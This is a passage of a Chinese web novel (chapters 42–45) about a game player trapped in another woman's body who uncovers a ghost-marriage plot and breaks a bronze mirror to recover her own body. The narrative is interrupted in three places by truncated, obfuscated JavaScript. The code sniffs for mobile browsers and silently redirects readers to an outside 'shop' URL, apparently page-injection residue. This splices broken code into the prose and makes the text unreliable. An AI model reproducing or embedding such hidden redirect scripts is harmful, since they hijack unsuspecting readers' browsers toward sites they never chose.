回忆起昨晚在街上发生的事，吴琳翠都替宁昭感觉羞愧：“我亲眼所见，在平苏路的夜市上，她和一个长得很英俊的小伙子手牵手，她还亲了他。” 吴琳翠大概是不知道沈书言的身份，所以并没说出他的名字，只以为宁昭是单方面出轨了。 宁昭觉得没劲，想再添一把火。 就在这时，“宁昭”给了她机会。冒牌货眉头紧锁：“吴姨，您能不能说说那男人具体的样貌？” 听到这，李秀丽也发现些端倪，脸色逐渐冷了下来。 “那小伙子倒是很英俊，比宁晦高了一个头，穿着黑色的西装，一看就是谁家的少爷。” 就是不知道少爷为何眼瞎，看上了宁昭此等丑女。 “宁晦！” 意识到那男人就是沈书言，冒牌货尖叫一声，疯了一样去掐宁昭的脖子：“那是我未婚夫！你怎么敢……” 已经作好冒牌货会扑过来的准备，宁昭并没有闪躲，而是故作可怜：“姐姐，是姐夫说他喜欢我，你怎么能怪到我头上呢？” “我要杀了你！！！！” 尖叫声再次响起，两人很快便扭打在一起。直到一道温润的男声打破了此刻混乱的局面—— “宁小姐，请你立刻放开我的未婚妻。” 42. 黄道吉日 两人正在扯头花，倏然被打断，宁昭还有些没回过神来。 抬头一看，来的是个她从未见过的男人。他身穿白色长衫，长相斯文，戴着一副金丝框的眼镜，看起来颇有文人风气，只是脸色有些苍白，显然是常年缠绵与病榻，气色不算太好。 结果先变脸的却是那个冒牌货：“柳衡，你怎么来了……” 说话间，柳衡已走到宁昭面前，朝她伸出手：“抱歉，我来晚了。” 完全对冒牌货的话视若罔闻。 看到柳衡对宁昭的态度，冒牌货脸色一白，像是哪里忽然被刺痛，她推了宁昭一把：“柳衡来了刚好，让他看看他未婚妻是怎么和其他男人暗度陈仓红杏出墙的！” 这咬牙切齿的语气，恨不得把宁昭杀了才好。 “先起来。” 柳衡却并未理睬冒牌货的辱骂，走到宁昭面前蹲下，将手递给她：“不要怕，我会替你做主。” 一股微妙的香气在空气间荡漾开来，宁昭轻嗅，莫名觉得这股气味很熟悉，好像在哪里闻过。 她没吭声，将手递到柳衡手中，任由他把她拉起，拢入怀中。 “疼吗？” 柳衡无视了李秀丽和吴琳翠的尴尬神情，仔细检查了宁昭的脖子：“怎么不知道还手？” 后面这句话说得很轻，只有宁昭能听见。 但哪儿是她不想还手。分明是她还没打回去，他就来了。 面对这个陌生的男人，宁昭拿不准他心里在想什么，只能保持沉默，摇了摇头。 “宁小姐，说话请注意分寸。” 见宁昭没事，柳衡的目光这才落到冒牌货的脸上：“你说我的未婚妻红杏出墙，可有证据？” “没有没有，姑爷，压根没有这回事。” 还未等冒牌货回话，李秀丽就赶忙上前把她拉到身后：“这都是她们姐妹俩闹矛盾乱说的，没有的事！我们家小晦什么性格你知道，不可能做出此等败坏门风的事……” 在家闹归在家闹，现在柳衡来了，李秀丽自然不可能让任何人说出可能会破坏婚礼的话。 见李秀丽这样说，冒牌货纵然脸色不好，也不敢再说些什么。 可吴琳翠眼睛一转，不识相地嚷嚷了起来：“眼见为实不是证据，什么才是证据？我可是亲眼看到宁晦……” “这是我们家的家事，你胡乱说些什么！” 李秀丽脸色一变，伸手就去推吴琳翠：“我们还有事情要处理，就不留你吃午饭了，赶紧回吧！” “且慢。” 正当李秀丽推搡着吴琳翠时，柳衡叫住她：“你们让我的未婚妻蒙受了如此不白之冤，话都没说清楚，怎么能走？” 话说得软绵绵的，但语气里却是不容人置喙的坚决，摆明了是要护宁昭护到底的架势。 而在他怀里的宁昭却早就已经汗流浃背。 事情是她做的，她也确实想利用这件事搞黄婚事。但柳衡一过来，这幅不管三七二十一就护住她的模样，竟让她内心生出几分愧疚来。 如果她现在承认了，她不敢想柳衡会有多尴尬。 见柳衡是这态度，吴琳翠心下一喜，也不管李秀丽比锅底还黑的脸色，将昨天看到的事情又添油加醋地说了一遍。 “此事当真？” 听完这番叙述，柳衡不为所动，反而是低下头来看宁昭：“你说什么，我便信什么。” 一时间，众人的视线都落在宁昭的身上，让她如芒在背。 思忖再三，宁昭最终还是摇头：“我没有。” 吴琳翠：“……” 冒牌货：“……” “你看，我们家小晦没有。” 李秀丽松了一口气，连忙附和：“姑爷，你可别听信了别人挑拨离间的话啊。” 再讨厌宁晦，她也是她的女儿，嫁的还是这柳叶镇最显赫的人家，李秀丽怎么能让别人轻易搅了她未来的好日子。只是经过这么一出，她和吴琳翠的姐妹情，也算是彻底到头了。 “嗯，我相信你。” 一转头，柳衡脸上便又出现了那温润的笑：“昨日你来找我，我没能见你。今日过来，是怕你为了彩礼一事为难，却不想撞上了这样的场面。” 一提到彩礼，李秀丽忙说：“姑爷你放心，都是误会一场，实在不必劳烦你跑这一趟。” 看到李秀丽这殷勤的模样，宁昭给她递了个眼神。 “不过既然来了，我倒真是有一事相求。” 大概是愿意相信宁昭一回，李秀丽谄媚地笑笑：“不知姑爷是否愿意把婚事往后推迟一天，推到七月十六？” “岳母何出此言？” 柳衡有些意外地挑挑眉：“我记得当初是您坚持要在七月十五举办婚礼。” “我想了想，还是觉得不太吉利……” 到底是自己说过的话，现在出尔反尔难免难堪。但为了彩礼，李秀丽还是忍了，只得讪讪地笑：“七月十六是好日子，改了也好些。” “没问题，推迟一天也可。” 柳衡答应得很爽快，又继续道：“昨天小晦找我时很委屈，我不放心。所以，今天来这里还有另一个目的。” “你说，你说。” 面对这尊大佛，李秀丽自然有求必应。 “我想接小晦到柳宅住几天。等结婚前一天，再送回来，第二天走个过场就行。” 像是怕她们误会，他又加了一句：“岳母放心，该给宁宅的面子和排场，一点都不会少。” 他很清楚李秀丽真正在乎的东西是什么。 “这……” 即使柳衡思虑周全，面对如此要求，李秀丽还是觉得不合规矩。 “柳二少爷，这可不合规矩啊！” 没想到在一旁看戏看到现在的吴琳翠发了话：“按我们这里的风俗，新郎新娘结婚前三天不能见面的呀……” “是啊，柳二少爷也不想被别人说闲话吧。” 冒牌货双手环胸看着柳衡，语气很冷，态度多是不屑。 不知为何，她对柳衡的敌意很大。好像他不是她的妹夫，而是仇人。 此情此景，宁昭也有些搞不懂柳衡的意思了。昨天还闭门不见人，今天就来到这里帮她解围，还提出这样的要求。 她不知道这是不是游戏给他的提示或引导，所以她也不敢轻举妄动。 “风俗罢了，哪怕不遵循也无可厚非，我从不信鬼神之说。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13274012|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他握住宁昭的手，对上她的双瞳：“只希望小晦愿意才好。” 这样深情的眼神，宁昭觉得不是装的。 可如此深爱，又怎么会发现不了宁晦此刻已经换了人的事情呢？她不明白，却又确实找不到他演戏的痕迹。 如果是装的，那他的演技太高明。 “罢了。” 李秀丽无可奈何地挥挥手：“想去就去吧。” 如今的宁晦，留在家里只会把她气得半死。只要她肯把彩礼交出来，李秀丽也不想天天面对这张让她怒火攻心的脸了。 这下，全场的目光再次落在宁昭的脸上。 “嗯，好。” 当然要去。这个家已经被她摸索得差不多了，得把柳家那边再探索一边，她才能明白这其中的联系。 “去收拾收拾东西吧，该带的东西都带走。” 看了宁昭一眼，李秀丽眼中多了些警告。 不该带的东西，留下来。 当然知道她是什么意思，宁昭点点头，转身就往里屋去了。 其实昨夜沈书言已经帮她把失窃的彩礼放回去了，李秀丽只需再打开柜子就可以看到。于是她直接回到卧室，象征性整理了几件衣服。 离开时，宁昭忽然想到沈书言还没回来，心下有些担心。想到自己抽屉里有没用完的纸笔，她放下手中的东西，给他留了张字条。 【我去柳宅了，宁昭】 也就是这时，她发现她可以写出自己的名字了。 大概是因为沈书言认出了她，所以她身上的限制得到了解除，只是聊天室依旧不能使用。 做完这一切，宁昭才提着箱子离开房间。 然而，在她即将到达下一个转角时，她忽然听到一阵失控的女声—— “柳衡，你难道看不出来她不是宁晦吗？” 听到这，宁昭立马停住步伐，藏在墙角后悄悄往外看。 入目的可不是那冒牌货和柳衡对峙的画面。 柳衡似乎无心和她说话，转身想离开：“我听不懂你在说什么。” “你不觉得你很可怜吗？” 见柳衡无视了她，冒牌货当然不会让他这样轻易走掉，一把就拉住他的手：“我不信你是真的喜欢她！她连自己的姐夫都勾引……” “可怜的人是谁，你自己心里没数吗？” 他的脸色哪里还有刚才的温柔。此刻，他装都懒得装，甩开冒牌货的手，脸色很冷漠：“不知道你为什么这么恨你妹妹，但她未来会是我的妻子，请不要再说出诋毁她的话。” 虽然自己不是宁晦，但宁昭还是不由得感受到温暖。 在这样一个被许多人苛待鄙视的环境中，能有一个人坚定站在自己身边，哪怕她之前不认识他，也不会对他产生什么抵触的心情。 “柳衡，我真是看错你了……” 没想到，被冷脸对待的“宁昭”竟然红了眼，连声音里都带了哭腔：“为什么、为什么……” 她竟然会哭？ 她和柳衡之间，不会真有什么不可告人的秘密…… 正当宁昭认真思考着这个问题的时候，身后突然传来一道呼唤声： “宁晦小姐……” 43. 黄道吉日 偷听别人墙角被发现，多多少少有些尴尬。还好宁昭心理素质比较强，转身间已经露出一抹礼貌的微笑：“秦叔，您怎么在这儿。” 说话的两人立马没了声音。 秦叔不知道宁昭在偷听，笑着接过她手中的手提箱：“我是来帮小姐拿东西的，没想到在屋子里绕了两圈，竟然把自己绕晕了。” 谈话间，柳衡也已经从转角处过来，朝宁昭伸出手：“走吧。” “好……” 离开宁宅时，宁昭能明显感觉到，落在自己背后那道属于那冒牌货的幽怨的眼神。 柳家确实是比较有钱的，在这样的年代，能开着小汽车来接宁昭回去，一路上让她收获了不少羡慕的眼光。 只是空气始终很安静，柳衡坐在她的身边，一直没有说话。 “到了那里，不必拘束。” 终于，在沉默了将近十分钟之后，柳衡率先打破了这安静的局面：“以后那就是你自己家。” 宁昭没有回话，只是一直看着窗外，微妙的感觉在心底漾开。 再次回到柳府，那里的佣人态度毕恭毕敬，还没等宁昭下车，一群人就已经等在门口迎接，这大张旗鼓的架势，让过路的路人也纷纷止住脚步，探着头想看个究竟。 “秦叔会带你去你的房间。” 将宁昭带进门，柳衡松开她的手：“我的身体还有些不适，怕过了病气给你。等婚礼前一天，我自会送你回去。” “她说我不是宁晦，你信吗？” 在柳衡离开之前，宁昭出声叫住他。只是她的脸上已经没有刚才在宁家的迷茫，取而代之的是一抹似笑非笑的表情。 “当然不信。” 他咳嗽了两声：“你的姐姐很奇怪，以后不要再和她有来往了。” 他的表情并无不妥，语气中也没有掩饰的痕迹。 宁昭点头，朝他笑笑：“谢谢你今天帮我解围。我昨天在你房间门口说的话有些冒昧，请不要放在心上。等到了婚期，我会乖乖和你举行婚礼的。” 没想到她会是这样的态度，柳衡有些意外。 还未等她说些什么，宁昭就已经转头跟着秦叔离开了。 柳家给未来二少奶奶准备的房间条件自然不会差。不仅面积比宁昭在宁宅的房间大了一倍，连家具都是时下最贵的西洋风装修，这不禁让宁昭幻视自己是民国时期留洋归来的大小姐，连呼吸间都是金钱的味道。 今日天气很好，待宁昭收拾完一切，已经到了中午。太阳高悬在天空，正午时分便显得更加酷热难耐，但奇怪的是，宁昭一点都不觉得热，身上甚至连一点薄汗都没有出。 “小姐，该吃午饭了。” 负责伺候宁昭的佣人敲了敲她的门，语气恭恭敬敬：“请随我前往餐厅。” 柳家很大，去餐厅要穿过一个很大的花园。院子里没有遮挡，太阳光直直照射在宁昭脸上，她下意识低头防晒，拿手去挡了挡太阳。 也就是这时，她的目光落到佣人脚下的地面上。 她的脚下没有影子。 看到这里，宁昭顿时觉得毛骨悚然，呼吸略微有些错乱。 但她很快就镇定了下来。 她抬头，看向正在花园里工作的其他佣人。不出意外，她们的脚下也都没有影子。 什么样的人才没有影子？ 死人。 怪不得这样热的天她却始终不出汗，也难怪她进门时总感觉这柳府阴森森的。 这里怕是已经没有几个活人了。 好在自己的脚下还有影子，她还活着。只是未来会发生些什么事，她仍旧不得而知。 走一步算一步，宁昭被带领着来到餐厅，秦叔已经在一桌丰盛的佳肴旁等候。 “柳衡呢？怎么不来吃饭？” 即便面前是一桌色香味俱全的饭菜，宁昭也不敢吃。于是她不动声色收回视线，开始转移话题：“他身体不好，更要按时吃饭才行啊。” “小姐请勿担心，二少爷的餐食都是单独送去他房间的，您自己吃饱就可以了。” 秦叔脸色红润，带着慈祥的笑，温和得让人毫无防备。 “对了，婚期推迟了。” 宁昭拿起筷子，象征性地夹了点菜到碗里，却并未送进口中：“是刚刚在我家临时决定的。那时秦叔不在，不知道柳衡有没有跟你说这件事。” “婚期推迟？” 果然，在听到这个消息时，秦叔的脸色变了变：“这怎么行？” “柳衡答应了，我也没意见。只是往后推了一天而已，想来对婚礼的筹备也不会造成很大的影响。” 秦叔略有些为难：“日子是之前算过的好日子，突然改了，这不合规矩……” 听到这里，宁昭心中的猜想终于得到确认。 “七月十五，鬼门大开。活人不宜进行婚嫁、搬家、入宅。” 她又想起那天给她算命的老人曾说过的话。中元节当然不适合活人婚嫁，但对于死人来说，可是万里挑一的好日子。 宁昭忽然伸手按了按太阳穴，皱起眉头，一副身体不适的模样：“不知道为什么，我突然感觉头有些痛，吃饭也没有胃口。” “小姐，您怎么了？” 虽然面色为难，但秦叔还是上前扶住了她：“要不小姐先回房休息，饭菜待会让她们帮您送到房间。” 她面色苍白地笑笑：“那就多谢秦叔了。” 他伸手扶她，她顺势将手递到他手里。毫不意外。他的手心冰凉，没有一点温度。 回到房间，直到门彻底关上，宁昭终于长舒一口气，放下心来。只是心脏仍在扑通扑通地跳动，额头也渗出了细密的冷汗。 如果没推理错的话，这柳宅的上上下下已经没了活人。而她和柳衡之间的婚约，并不是外人嘴里“李寡妇把女儿嫁给了柳家的病秧子”那么简单，而应该是“宁晦”被送来柳家，和已经去世的柳衡配了冥婚。 真相已经昭然若揭，但有一点宁昭仍然迟迟不敢确认。 占了她身体的人，究竟是谁？ 她曾经下意识以为，她来到了宁晦的身上，那占据她身体的自然就是宁晦的灵魂。可想想细节，她又觉得事情没那么简单。 到底是心有不安，宁昭在这个房间里翻箱倒柜，把能翻的东西都翻了一遍，却始终一无所获。 “咚咚咚——”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283697|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 忽然，窗户处传来一阵细微的响动。宁昭回神，往声音处一看，此刻正不停敲击着窗户的人，可不就是半天没见的沈书言。 她心下一喜，立刻过去打开窗户，将沈书言抱进来：“你看到我留给你的字条了？” 熟悉的温热再次回到自己怀里，宁昭感觉到沈书言埋在她脖领蹭了蹭，触感十分柔软。 “你能不能变成人？我有重大发现！” 宁昭抱着他走到卫生间，不管三七二十一就把他扔到里面：“不要出声，被发现就完了……” “……” 结果还没等沈书言回应，她就已经转头把门关上了。 不过五分钟，沈书言推门从里面走出来。他穿了一件民国时期的黑色长袍，挺括的面料将他本就颀长的身材衬托得更加挺拔，不过他的气色看起来却并不是很好。 看到他眼下的青黑，宁昭惊呼：“你昨晚是不是没睡好？” 昨晚他们两个是一起睡的，因为有沈书言陪伴，宁昭抱着他一夜好梦，却没想到他看起来竟像是失眠了。 提到昨晚的事，沈书言的脸颊耳尖又略微有些发红了。但即便如此，他还是摇了摇头：“没有，昨晚……睡得挺好的。” 不过现在显然不是话家常的时候。宁昭见他这样说，也不啰嗦，直接把她刚才发现的事情通通都告诉了沈书言。 认真听完后，他颔首，但表情看起来却并不意外：“你怕不怕？” 没想到沈书言关心的竟然是这个。 宁昭摇摇头：“怕倒是不怕。进入这个游戏后，诡异的事情见多了，现在反而免疫了。” “时间还早，不必给自己那么多压力。” 说罢，他从系统背包里变戏法似的拿出一个袋子，里面是一碗热气腾腾、刚打包好的馄饨。 “这是……” 打开盖子，香味四散，宁昭饿了半天，肚子立马咕咕叫了起来。在安静的房间中，这声音听起来竟显得有些突兀。 他笑着把筷子和勺子拆好，摆到她面前：“不是说不敢吃柳宅的饭菜吗？昨天看你吃这家馄饨吃得挺香，就帮你带了。往后还有什么想吃的，我出去帮你买。” 听到他这副寻常的口气，宁昭忽然觉得自己隐藏得很好的情绪一瞬间都翻涌了上来，鼻头有些发酸。 见她迟迟不动作，沈书言奇怪：“怎么不吃？” “你咋不嫌我丑啊。” 宁昭努力将想哭的冲动压下去，吸了吸鼻子：“只有你对我最好。” “不丑。” 看着那双不属于宁昭却很亮的眼睛，沈书言不由得又说了一句：“不管是外貌还是灵魂，都不丑。” 有些东西，是外貌没办法传达到的。 宁昭不再说话，拿起勺子，低头开始吃馄饨。 虽然误打误撞绑定的队友哥让她的游戏难度大大提升，但她觉得这样的感觉并不差。 甚至，如果再给她一次机会，她还是会选择和沈书言绑定，成为队友。 正当宁昭低头吃东西时，房间门忽然又被敲响。 “小姐，我来送午餐。” 下一秒，响起了门把手转动的声音。 44. 黄道吉日 “等等——” 心突然被吊起来，宁昭下意识的反应比大脑转得快。她一边把沈书言往洗手间里推，一边大声阻止门外的人进来：“我在换衣服！你把东西放门口就可以！” 就在门被拧开的前一秒，沈书言被无情地关进了房间里，而宁昭以生平最快的速度飞奔到门后，猛地抵住了门外人推门而入的动作。 “……小姐？” 来人是个女佣。她之前来宁昭房间都是直接开门的，没想到她这次的反应会这么大，一时间也有点慌神：“抱歉，小姐，我在门口等您。” “不、不用，我待会换好衣服自己出来拿。” 她好歹还待在她名义上的未婚夫的家里，要是被人发现她在这里和其他男人私会，就太不体面了。 不到万不得已的时候，宁昭是不会让自己名誉受损的——哪怕是在游戏里，穿了别人的身份。 “……小姐，您结婚要穿的喜服已经做好了，需要试穿一下，如果不合身，还要送去改。” 门勉强拉开一个缝，宁昭把手伸过去：“那你递给我，我穿了之后告诉你。” “……” 虽然不知道她为什么会这样，但女佣还是没多说什么，顺着缝隙把箱子递了进来，宁昭顺手接住。 好不容易把人打发走，宁昭把门反锁后，才长舒一口气。 保险起见，她又把窗帘拉上，遮得严严实实。 “好了，出来吧。” 拉开洗手间的门，宁昭看着杵在洗手台旁边高大的沈书言，不免觉得有些好笑：“这辈子也是体会了一把金屋藏娇的感觉。” “这词不是这么用的吧？” 看到宁昭唇畔的笑，沈书言不免也发笑：“没想到你还有这种爱好。” “就准你们男人用，不让我们女人用？” 见他这样说，宁昭生出些逗弄的心思。她双手环胸，靠在门沿上朝沈书言挑眉：“藏倒是可以藏，就是不知道这只小狐狸精到底娇不娇？” “试试不就知道了。” 没想到沈书言不仅不接招，反而反手搂住宁昭的腰，猛然将头探到她颈间：“狐狸精最擅长的就是勾引人心。你既然这么叫我，我不得坐实了这个称号？” 他的呼吸缓缓拂过她肩颈，吐出温热的气息：“反正这里就只有我们两个人，时间很长，要不要体会一下？” “你也太玩得起了……” 见他这么给面子，宁昭推开他就走。 本来就是口嗨一下，谁知道沈书言玩这么真实，宁昭哪里真能顶着宁晦的身体跟他搞暧昧。 看到她落荒而逃的背影，沈书言笑笑。 他当然知道她没这个胆子。哪怕有，他也只是逗逗她。如今这个局势，他陪伴在她身边，虽不能作弊帮她通关，但好歹也能为她转移些注意力。 “婚期已经改了。” 将馄饨吃完，宁昭刚被沈书言惹得一池春水的心终于平静了下来。 她走到床边，打开刚才她接进来的箱子，一件刺绣华丽精致的喜服就这样出现在她面前。联想到那天看到的彩礼，配上这样华丽的衣服，当真是凤冠霞帔、羡煞旁人。 但如若想到这是要和别人配阴婚才能得到的待遇，宁昭不免又开始觉得宁晦的身世太悲凉。 将礼服拿出来展开，宁昭发现这喜服不仅仅只是第一眼看上去好看。 正红色的中式婚服裙摆曳地，光滑的缎面上是手工绣制的鸳鸯花纹，上面坠着翠玉流珠，镶嵌其中的宝石熠熠生辉，一看就价格不菲。 虽说曾经在剧组见过不少贵重的道具，但那终究是后人仿制出来的，怎么也不如面前这真实的文物让人感觉震撼。 尤其是宁昭还能将它拿在手里，去触摸真实的质感。这样的机会，也是可遇不可求。 将衣服在身上比了比，看起来挺合身，所以宁昭不打算试穿，看完后就想把它给收回去。 谁料，就在放礼服的箱子底，竟放着一个宁昭刚才没有注意到的信封。 上面用钢笔写着几个字：宁晦亲启。 拿起信封，宁昭看向沈书言，发现他的表情也有些意外。 这会是谁写的信？宁昭当然不知道。但是如果想解开剩下的迷题—— 宁昭思虑再三，终于还是拆开了信件的封口。 …… 这晚，沈书言依旧和宁昭睡在一起。 只不过，不再是狐形态，而是人形态。 “你真的不考虑变成狐狸……” 躺在沈书言身边，宁昭支支吾吾，虽然有意和他保持距离，但他长手长脚，房间里又只有一床被子，她难免会触碰到他温热的身体。 “睡觉。” 没想到沈书言却淡定许多，不仅不像她一样害羞，甚至还将她搂进怀中，下巴抵在她的额头上：“有我在，不会有鬼过来。” 确实是比较安心，但…… “你记不记得，你以前说过，男女授受不亲。” 靠在他胸口，宁昭脸颊热热的，声音比蚊子哼还小：“你们狐狸都这么热情吗？” “你觉得是，便是吧。” 他竟然不反驳，反而顺着她的话说：“我没说过这句话。那时想表达的，也不是这个意思。” ……好像是宁昭非要住在他主神空间那次，他说了句“你是个女人”。 宁昭自然而然把它理解为男女授受不亲、女孩子家家要知羞的意思。 直到现在她才后知后觉：难道不是那个意思吗？ 还未等宁昭去思考那句话背后的深意，沈书言就又出了声：“从明天开始，我就不能陪着你了。你自己一个人不要害怕。” “你要去哪里？” 宁昭的心一紧。 “我也有些事要做。” 他轻叹一口气：“宁昭，你愿意给我一些信任吗？” 沉默几秒，宁昭开口：“当然。” “那就放心去做任何你想做的事。” 大概是距离太近的缘故，宁昭甚至能感受到沈书言说话时微微的震动的胸腔：“任何。” “哪怕是和别的男人结婚？” 宁昭心下一动。 头顶忽然变得沉默，然而不出半分钟，他又出声：“嗯。” 此后便是很长一段时间的寂静。 后来，究竟是谁先睡着的已经不得而知。宁昭只记得第二天醒来时，身旁的男人已经没了踪影。而留在桌子上的，是几张柳叶镇与柳宅的详细地图。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299874|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而宁昭最后一个想去的地方，便是上次她去算命的寺庙。 再次坐到老者面前，宁昭看到他淡然的表情，不禁发问：“看到我，你好像一点都不意外。” “贫僧知道，施主还会再来。” 老者睁开眼睛，朝她露出那抹高深莫测的笑：“我猜施主这次过来，是为了询问有关招魂的事宜。” “你是神仙吧，这都知道。” 虽嘴上这样夸赞，但宁昭的心底却毫不意外。这老者看着就不像普通人，没想到她让沈书言误打误撞找到的npc，还是个深藏不露的高手。 “施主请回吧，此身魂魄已易主，哪怕是贫僧，也无力回天。” 老者摇摇头，再次闭上了眼睛。 “我并非来寻求破解之道。我只是想问，您可否告知，究竟在什么样的情况下，邪祟才有可能趁机钻进别人的身体？” 听到这里，老者的神情未变。良久，他出声：“游荡在阴间的灵魂会在人们的生死一念间趁虚而入。只有在邪祟附体前及时清醒，方能避免被附身的命运。否则，被挤出身体的灵魂，永生永世都再难回归，只有再入轮回的可能。也就是我曾说过的，向死而生。” 现在只剩下两个结果。一是宁昭能找回真身、离开宁晦的身体。二是她依旧活在宁晦的身体里，直到游戏通关，她会自动离开副本。 但不管是哪种结果，宁晦这具身体都必死无疑。 因为在宁昭来到这具身体之前，宁晦的灵魂就已经散佚，身体也被邪祟侵占了。 而那邪祟不知又用了什么样的方法，和宁昭的身体来了一个巧妙的互换，这才有了现在的局面。 所以，宁昭身体里的灵魂并不是宁晦，而是占了趁虚而入占了别人身体的邪祟。 她全都弄懂了。 “施主请回吧。” 老者摇摇头，一副无力回天的模样：“事情既已发生，便再无后悔药可吃了。” 后悔药？ 宁昭忽然灵光一现。 世上确实没有后悔药，但……倘若她有呢？她可是有外挂的游戏玩家啊！ 她立马起身，感激地握了握老者的手：“谢谢您！” 老者看到她一脸激动的表情，着实有些不解。 而此时，宁昭已经拿出地图，回到了柳宅内属于她的房间。 从背包里把许久不用的手机掏出来，看到商城顶端因自己节省而剩余许多的积分，宁昭顿时感觉到稳稳的幸福。 她不停滑动手机屏幕，点开了一个道具。 【落子有悔：您可以利用它回到过去某个节点，命运就此改变。花费：50积分】 宁昭暗自深呼吸一口气，点下了购买。 【您已购买道具：落子有悔】 【接下来，请您调整时间。】 下面出现的是一个钟表，指针可以随意往前调。 宁昭在脑海中飞快思索，终于想到她刚进入这个副本时的具体时间。颤抖着手去拨弄时针，直到她动作暂停的瞬间，熟悉的白光再次降临。 一阵天旋地转，耳边忽地传来女人的声响。 “我知道你从小就嫉妒姐姐长得漂亮，但姐姐生来就比你漂亮，不是吗？” 45. 黄道吉日 画面一转，宁昭又出现在最开始的铜镜前。此刻冒牌货正站在她身后，一只手捏着她的下巴，强迫她抬头看着镜中的两张脸。 “就算姐姐想把这张脸给你，我也是做不到的呀……” 熟悉的对话再次传来，眼前正在发生的，赫然就是宁昭刚进入游戏时经历过的事。 看到铜镜中的自己，宁昭知道，这是唯一一个能让她寻回真身的办法。 于是她不再像一开始那样出言讽刺冒牌货，而是看着她脸上得意的表情，试图寻出些破绽。 谁料，这冒牌货却死死掐住她的下巴，宁昭想转头，却发现自己根本动弹不得。 电光火石间，她发现冒牌货唇角的笑容逐渐变大，就像什么好事就要得逞。而正是这抹笑，让宁昭明白了问题所在。 她想都没想，抬手就往那冒牌货的腰上重重击打过去。冒牌货没想到她会在这时突然攻击，一时没有防备，整个人被推倒在地，捏住宁昭的下巴的手也下意识松开，让她脱离了禁锢。 就在这时，宁昭感觉自己呼吸好像变得顺畅，头脑也变得清醒了些。 她看向铜镜，此刻，镜中只剩下了属于宁晦的那张脸。然而，两秒之后，铜镜里的这张脸竟忽然变得模糊不清起来，直到冒牌货气急败坏地起身，镜中的画面又再次变得清晰。 宁昭的猜想得到了证实，她不再去看铜镜，而是转头盯着冒牌货的脸。果然，在视线离开镜子后，她的面容也变得模糊不清，虽然依旧有宁昭原本的轮廓，但五官已经发生了些微的改变。 “换魂的重点在于这面镜子，是吧。” 看到冒牌货皱起的眉头，宁昭知道自己猜对了。 “小晦，你怎么突然变得这么奇怪？” 那冒牌货并不知道宁昭已经经历过一遭，虽然表情看起来略有恼火，但语气还是努力压制住她心头的愤怒：“刚刚那一下打得姐姐好疼……” “疼吧？” 宁昭起身，慢悠悠走到铜镜面前，手中不知何时多了一把小锤子：“要是把这面镜子砸碎，你怕是会更疼呢……” 看到宁昭手中的锤子，冒牌货顿时大惊失色：“你！” “想问我怎么知道的？” 宁昭毫不犹豫，轰地一声砸碎了铜镜：“问阎王爷去吧。” 就在铜镜碎裂的须臾，冒牌货尖叫着扑上来想阻止宁昭的行为，但为时已晚。宁昭用了十成十的力气，彻底将镜子砸了个粉碎，直到彻底照不出人脸方才罢休。 也就是这时，宁昭忽然觉得全身失了力气。像是灵魂被抽离一般，她两眼一黑就倒了下去。 再次醒来时，她躺在地上，入目依旧是她熟悉的宁宅的天花板。 头疼欲裂，她扶着额头起身，只感觉太阳穴突突直跳，浑身都像散架了一样酸疼。 她依旧在宁晦的房间里，脚下的铜镜碎片昭示着刚才发生的一切都是真的，但地上躺着的那个人…… 回忆如潮水般涌来，宁昭心下一惊，立刻上前去扶晕倒在地上的女人。翻过她的身子一看，那张脸赫然是宁晦的脸。 那她现在…… 低头看了看自己身上的衣服，是原本穿在冒牌货身上的水绿色的旗袍。再张开手掌心，一颗小小的黑痣落在熟悉的位置，看到这里，宁昭彻底松了口气。 她回到了自己的身体里。 她定了定神，开始轻晃宁晦的身体：“宁晦，醒一醒……” 再次用自己的声音说话，宁昭有些想哭。 然而，怀中的宁晦却没有醒来的迹象。她的脸色苍白，眉心微蹙，呼吸十分薄弱。但宁昭没有放弃，继续叫她，摇晃的动作也变大了些。 直到宁晦缓缓睁开眼睛，对上宁昭焦急的表情，她大梦初醒般揉了揉眼睛：“姐姐？” “你醒了。” 看到一双不带任何心机的澄澈双眼，宁昭可以确定，入侵宁晦身体并与她换魂的邪祟已经离开了。 原来破局的关键之道，就是那面铜镜。 床上还放着那条属于宁晦的灰扑扑的亚麻连衣裙。想来，这大概也是计划中的一环。等到宁昭和宁晦换魂完成，再让宁昭穿上宁晦的衣服，这样一来，两人的身体就实现了彻底的互换。 还好，这一次宁昭赶上了。 “姐姐，发生了什么？” 宁晦见她躺在宁昭的怀里，脸色一白，想要从她怀里起身，却因身体无力而站不起来：“我的身体有些不舒服……” “先到床上睡会吧。” 将宁晦扶到床上，宁昭松了口气：“现在已经没事了。” “我怎么还活着？” 看着大红色的被单，宁晦的表情一片悲戚，说话间，连睫毛还在颤抖：“我这样的人，不应该活在这个世上。” 